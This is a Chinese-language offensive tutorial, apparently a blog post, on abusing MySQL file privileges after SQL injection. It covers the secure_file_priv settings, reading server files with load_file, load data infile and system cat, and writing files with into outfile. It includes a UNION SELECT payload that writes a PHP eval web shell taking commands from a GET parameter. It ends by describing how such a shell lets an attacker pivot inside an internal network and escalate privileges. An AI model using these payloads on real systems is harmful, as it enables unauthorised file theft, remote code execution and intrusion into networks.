目录



  • 能读写文件的前提
  • Windows下的设置
  • Linux下的设置
  • 没有读写权限的尝试
  • 确认有SQL注入后,跟进确认是否有读写权限
  • read
  • 常用读文件函数
  • load_file()
  • load data infile()
  • system cat
  • write
  • 将列数据写出
  • 自定义shell写出
  • mysql写shell并利用成功的前提
  • 利用mysql写shell的好处




以下实验都在win OS, mysql 5.7.26下操作;

能读写文件的前提

不同系统有细微差异;

0.能进行SQL注入活动
1.拥有该File的读权限 该目录写的权限
2.secure_file_priv属性的值不为NULL local-infile为0

Windows下的设置

修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =
保存,重启mysql。

secure_file_priv属性值的设置:

  • secure_file_priv为null 表示不允许导入导出 (5.7后为默认值)
  • secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
  • secure_file_priv没有设置时,则表示没有任何限制
[mysql]
default-character-set=utf8

[mysqld]
port=3306
basedir=D:/programfiles/phpstudy_pro/Extensions/MySQL5.7.26/
datadir=D:/programfiles/phpstudy_pro/Extensions/MySQL5.7.26/data/
character-set-server=utf8
default-storage-engine=InnoDB
secure_file_priv=
# secure_file_priv= 表示对读写没有限制
# secure_file_priv= 在基线扫描时也是一个漏洞特征
[mysql]
default-character-set=utf8

[mysqld]
port=3306
basedir=D:/programfiles/phpstudy_pro/Extensions/MySQL5.7.26/
datadir=D:/programfiles/phpstudy_pro/Extensions/MySQL5.7.26/data/
character-set-server=utf8
default-storage-engine=InnoDB
secure_file_priv=
# secure_file_priv= 表示对读写没有限制
# secure_file_priv= 在基线扫描时也是一个漏洞特征

Linux下的设置

在/etc/my.cnf的[mysqld]下面添加
local-infile=0
重启mysql

没有读写权限的尝试

use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;

mysql有个表只能读不能写 mysql写的时候可以读吗_mysql有个表只能读不能写


也不报错,就是没执行一次就增加一行空值;

确认有SQL注入后,跟进确认是否有读写权限

# win
show global variables LIKE "secure_file_priv";

# linux
show global variables LIKE "local-infile";
# win
show global variables LIKE "secure_file_priv";

# linux
show global variables LIKE "local-infile";

mysql有个表只能读不能写 mysql写的时候可以读吗_数据库_02

read

能读文件意味着系统敏感文件泄露,代码被审计;

准备好要读的文件

mysql有个表只能读不能写 mysql写的时候可以读吗_数据库_03

常用读文件函数

mysql在不同版本读取文件的函数可能会不同;

1.load_file()
2.load data infile()
3.system cat

load_file()

use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
sql> insert into read2_tb(word) values (load_file('D:/test.txt'))
 [2019-08-15 10:55:11] 1 row affected in 4 ms

mysql有个表只能读不能写 mysql写的时候可以读吗_数据库_04


读入成功。

load data infile()

load data infile 'D:/test.txt' into table read2_tb;
load data infile 'D:/test.txt' into table read2_tb;

mysql有个表只能读不能写 mysql写的时候可以读吗_mysql有个表只能读不能写_05

system cat

在mysql版本为5.x时,除了可以使用上两种方法外,还可以使用Linux系统命令直接读取文件

system cat /test.txt
system cat /test.txt

注意:
1.此方法只能在本地读取,远程连接mysql时无法使用system
2.无法越权读取

write

能写文件就意味着能写入shell, OS 区分Win\Linux之间的差别;

将列数据写出

use thirdweek;
select * from read2_tb where 1=1 into outfile 'D:/test2.txt';

# D:/test2.txt 不能存在,不然报错
[2019-08-15 11:23:11] [HY000][1086] File 'D:/test.txt' already exists
use thirdweek;
select * from read2_tb where 1=1 into outfile 'D:/test2.txt';

# D:/test2.txt 不能存在,不然报错
[2019-08-15 11:23:11] [HY000][1086] File 'D:/test.txt' already exists

mysql有个表只能读不能写 mysql写的时候可以读吗_SQL_06

自定义shell写出

select * from read2_tb where 1=1 union select "<?php @eval($_GET['cmd'])?>" into outfile 'D:/test3.txt';
select * from read2_tb where 1=1 union select "<?php @eval($_GET['cmd'])?>" into outfile 'D:/test3.txt';

mysql有个表只能读不能写 mysql写的时候可以读吗_数据库_07

mysql写shell并利用成功的前提

1.拥有上面说的3个前提
2.能写入到可执行目录里面
3.能连接成功

利用mysql写shell的好处

  1. 内网扩散
    目标数据库一般在内网之中,与其他内网主机能互通,作为一个跳板机极好;
  2. 提权
    一般进入主机可能是低权限或者匿名用户,但是通过SQL注入得到的登陆用户具有一定权限;利用SQL注入也是一种提权方式;